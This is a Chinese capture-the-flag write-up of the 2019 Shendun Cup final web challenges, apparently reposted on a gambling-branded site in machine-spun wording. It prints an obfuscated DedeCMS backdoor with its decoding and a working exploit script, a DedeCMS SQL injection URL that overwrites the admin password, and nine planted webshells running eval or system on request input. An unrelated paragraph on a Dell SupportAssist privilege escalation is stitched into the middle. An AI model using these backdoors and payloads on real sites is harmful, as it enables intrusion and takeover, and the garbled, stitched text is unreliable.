2019 神盾杯 final Writeup(一) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

2019 神盾杯 final Writeup(一)

申博_安全防护 申博 80次浏览 未收录 0个评论

媒介

队友去参加了2019神盾杯上海市网络安全比赛,线下有4道web题,就跟队友要来了源码进行了一波剖析,因为题目较多,分为2篇撰写,本篇先写dedecms和另一个出题人手写的cms。

web1

预置简朴后门查杀

翻开源码发明是dedecms,运用主流webshell查杀东西获得以下效果:

2019 神盾杯 final Writeup(一)

2019 神盾杯 final Writeup(一)

2019 神盾杯 final Writeup(一)

因为静态剖析具有较高的误报率,所以我先挑选了diff一下:

2019 神盾杯 final Writeup(一)

发明后门文件为include/guess.class.php,事实证明照样D盾nb~

内置殽杂后门

我们先去检察文件:include/guess.class.php。

发明显著后门:

<?php
$p='$s[$i].=$p;$eW=WstrWpos($s[$i],$f);Wif($We){W$k=W$kh.W$kf;ob_start();@WeWWval(@gzW';
$R='W$kWh="3aae";$kf="W0208WW";fWunctioWn x($t,W$k){$c=strlen($k);$Wl=strlWen($Wt);W$o=W';
$n='","+"W),$ss($sW[$i],0,$We))),$kW)));$Wo=obW_get_contWents();obW_endW_cWleanW();$d';
$W='"";for($i=0;$i<$lW;){for(W$j=0W;($j<$Wc&&$iW<W$l);$jW++,$i++){W$o.=$t{$Wi}^$k{W$';
$G='werW";$i=$Wm[1][0].$m[1W][1];$hW=$slW($Wss(md5($iW.$kh),W0,3))WW;$f=$sl(W$ss(md5(';
$N='uncompressW(@x(@bWase64WW_decode(preg_rWeplace(arraWy("/W_/WW","/W-/"),array("W/';
$I='$iWW.$kf),0,3W)WW);$p="W";for(W$z=1;$z<coWunt($m[1]);$z++)W$pW.=$qW[$m[2][$Wz]];if(str';
$k=str_replace('ZA','','creZAaZAte_ZAfuZAZAncZAtion');
$F='j};}}Wreturn W$o;}$r=$W_SWERWVER;[email protected]$rWW["HTTP_REFEWRERW"];[email protected]$r["HTTWP_ACCEPWT';
$a='_WLANWGUAGEW"];if($rr&&$raWW)W{$uW=parse_urWlW($rrW);parse_str($u["quWery"],$qWW);';
$s='$q=array_valuesW($q);prWeg_matWWchW_aWll("W/([\\wW])[\\w-]+(?:;q=0.([\\dW]))?,W?W/",W$ra,';
$A='=baWse6W4_encode(x(gWzcompresWs(W$o),$k));pWrWint("<$k>W$d</W$k>")W;@sessionW_destrWoy();}}}}';
$Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W';
$t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW';
$X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A);
$w=$k('',$X);$w();
?>

定位到末了一句:

$w=$k('',$X);$w();

发明$k为create_function,那末$X的值就至关重要,我们能够获得其值为:

<?php
$kh="3aae";
$kf="0208";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
[email protected]$r["HTTP_REFERER"];
[email protected]$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

看到恶意代码位置:

if($e){
$k='3aae0208';
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}

症结参数为$e和$s,我们跟踪这两个值,发明e为$s[$i]中$f的位置:

$e=strpos($s[$i],$f);

而$s[$i]与$p有关,我们继承跟进$p,$s,$i的赋值:

for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];

轻易发明$p的值与$m有关。而$i与$m也与$m有关:

$s=&$_SESSION;
$i=$m[1][0].$m[1][1];
那末$m与HTTP_ACCEPT_LANGUAGE和以下正则有关:
[email protected]$r["HTTP_ACCEPT_LANGUAGE"];
....
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);

简朴测试:

2019 神盾杯 final Writeup(一)

发明m[2]的值由q=0.几掌握,而m[1]与每组首写字母有关。

回到以下拼接:

for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];

剩下只需掌握$q的值即可:

[email protected]$r["HTTP_REFERER"];
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);

我们注意到$q与HTTP_REFERER的参数有关,我们测试一下:

2019 神盾杯 final Writeup(一)

那末我们能够经由过程掌握数组p的值,和数组$m的值,来掌握$p的值,比方:

// [email protected]$r["HTTP_REFERER"];
$rr = "https://skysec.top/?exp=skycool";
// [email protected]$r["HTTP_ACCEPT_LANGUAGE"];
$ra = "zh-CN,zh;q=0.0,en;q=0.1";

那末此时p的值为skycool。

紧接着是过滤:

    if(strpos($p,$h)===0){
    $s[$i]="";
        $p=substr($p,3);
    }

那末我们跟踪$h,发明为salt:

$i=$m[1][0].$m[1][1];
$h=strtolower(substr(md5($i.$kh),0,3));

所以我们很轻易展望$h的值,只需要在我们的exp前拼接上$h的值即可。

那末如今只剩末了的exp,回到最最先的中心代码:

$s[$i].=$p;
$e=strpos($s[$i],$f);
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k)));
那末能够经由过程$p掌握`$s[$i]`的值,同时为了完整截取,我们能够相似以下组织exp:
$exp = $h.$payload.$f;

如许即可完整截取到我们的$payload。

OEM软件使笔记本电脑处于危险中

本文介绍如何利用该漏洞来加载任意未签名的DLL到SYSTEM权限运行的服务中,来实现权限提升和驻留。 PC-Doctor 允许SupportAssist访问敏感低级硬件的组件是由PC-Doctor公司开发的。该公司主要开发硬件诊断软件。下面主要介绍PC-Doctor公司开发的组件来描述漏洞,然后说明如何利用该漏洞来访问物理内存这样的低级硬件。 Dell SupportAssist Dell SupportAssist是大多数Dell电脑预装的软件。该软件可以检查系统硬件和软件的健康。健康检查需要高权限级别的权限。为了以高级权限运行动作,签名的驱动会安装以及多个以SYSTEM运行的服务。 漏洞分析 研究人员首先关注的是Dell Hardware Support,因为该服务是一个非

然后是加密函数x:

function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}

轻易发明这是xor加密,能够用来加密也可用来解密,直接用即可。

那末编写exp以下:

<?php
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
// [email protected]$r["HTTP_ACCEPT_LANGUAGE"];
$ra = "zh-CN,zh;q=0.0,en;q=0.1";
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
$i=$m[1][0].$m[1][1];
$kh="3aae";
$kf="0208";
$k=$kh.$kf;
$h=strtolower(substr(md5($i.$kh),0,3));
$f=strtolower(substr(md5($i.$kf),0,3));
$exp = 'phpinfo();';
$exp = @base64_encode(@x(@gzcompress($exp),$k));
$exp = $h.$exp.$f;
// // [email protected]$r["HTTP_REFERER"];
$rr = "https://skysec.top/?sky=".$exp;
var_dump($rr);
比方实行phpinfo():
// [email protected]$r["HTTP_ACCEPT_LANGUAGE"];
$ra = "zh-CN,zh;q=0.0,en;q=0.1";
// // [email protected]$r["HTTP_REFERER"];
$rr = "https://skysec.top/?sky=99eS/1KrRj6/HP4trHRNjIl/DDg328"

2019 神盾杯 final Writeup(一)

能够胜利实行。

sql注入

经由过程diff能够发明代码解释了一段内容:

2019 神盾杯 final Writeup(一)

但这现实没有作用,是用来去除Power by dedecms的。然则另一处修正直接致使了sql注入:

2019 神盾杯 final Writeup(一)

我们检察相干文章:

https://seo.linyufan.com/thread-56-1-1.html
http://www.hackdig.com/?06/hack-4026.htm

发明是能够变动管理员暗码的。

https://skysec/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

其他文件:

2019 神盾杯 final Writeup(一)

发明新文件test.php,内容与common.inc.php互相对应:

2019 神盾杯 final Writeup(一)

2019 神盾杯 final Writeup(一)

综合来讲即:

<?php
session_set_save_handler();
session_start();

但彷佛不能应用,有卓识的师傅能够留言和我私聊。

总结

dedecms作为一款被挖爆了的cms,一定另有自带的原生破绽,我这里就不做剖析了,只把diff出来的内容写出来。

web2

web2像是个自身手写的cms,照样一样的思绪,现有主流静态剖析软件跑一波显著后门:

2019 神盾杯 final Writeup(一)

2019 神盾杯 final Writeup(一)

2019 神盾杯 final Writeup(一)

这道题应当属于送分题,满是后门。

预置后门1:index.php:

<?php 
include 'header.php';
@eval($_REQUEST['aa']);
?>

预置后门2:footer.php:

<?php 
$shell=$_POST['shell'];
system($shell);
if($shell !=""){
exit();
}
?>

预置后门3:contact.php:

<?php
include 'header.php';
$file_path = $_GET['path'];
if(file_exists($file_path)){
$fp = fopen($file_path,"r");
$str = fread($fp,filesize($file_path));
echo $str = str_replace("\r\n","<br />",$str);
 }
?>

预置后门4:config.php:

<?php
//链接数据库
$host = 'localhost';
$username = 'root';
$password = 'root';
$database = 'test';
$dbc = mysqli_connect($host, $username, $password, $database);
if (!$dbc)
{
die('Could not connect: ' . mysql_error());
}
//启用session
session_start();
//根目录
$basedir = ''; 
@eval($_REQUEST['c']);
?>

预置后门5:about.php:

<?php
$file=$_GET['file'];
include $file;
?>

预置后门6:a.php:

<?php @eval($_REQUEST['c']);
var_dump($_SERVER);
?>

预置后门7:.a.php:

<?php @eval($_REQUEST['c']);
?>

预置后门8:admin/footer.php:

<?php 
$shell=$_POST['shell'];
system($shell);
if($shell !=""){
exit();
}
?>

预置后门9:admin/header.php:

<?php 
$p=$_GET['p'];
echo $p;
$q=exec($p);
var_dump($q);
?>

以及一个很裸的文件上传:

2019 神盾杯 final Writeup(一)

所以基础无需剖析,都是异常显著的一句话木马了。

跋文

文章尽量的挖掘出题人后置的破绽,至于框架/CMS自身的题目,就不做剖析了,如果有脱漏也迎接补充!

原文地点: https://www.4hou.com/web/19007.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明2019 神盾杯 final Writeup(一)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址